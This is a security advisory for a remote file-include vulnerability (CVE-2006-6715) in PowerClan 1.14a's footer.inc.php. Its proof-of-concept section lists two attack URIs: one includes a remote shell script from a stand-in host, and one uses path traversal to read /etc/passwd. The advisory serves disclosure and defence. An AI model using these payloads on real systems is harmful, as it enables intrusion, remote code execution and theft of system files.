PowerClan Footer.Inc.PHP Remote File Include Vulnerability

BID:21707

Info

PowerClan Footer.Inc.PHP Remote File Include Vulnerability

Bugtraq ID: 21707
Class: Input Validation Error
CVE: CVE-2006-6715
Remote: Yes
Local: No
Published: Dec 21 2006 12:00AM
Updated: Jul 06 2016 02:40PM
Credit: nuffsaid <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable: PowerScripts Powerclan 1.14A
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
Not Vulnerable:

Discussion

PowerClan Footer.Inc.PHP Remote File Include Vulnerability

PowerClan is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PowerClan 1.14a is vulnerable to this issue; other versions may also be affected.

Exploit / POC

PowerClan Footer.Inc.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/[path]/footer.inc.php?settings[footer]=http://www.example2.com/shell.php
http://www.example.com/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd

Solution / Fix

PowerClan Footer.Inc.PHP Remote File Include Vulnerability

Solution:
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References

PowerClan Footer.Inc.PHP Remote File Include Vulnerability

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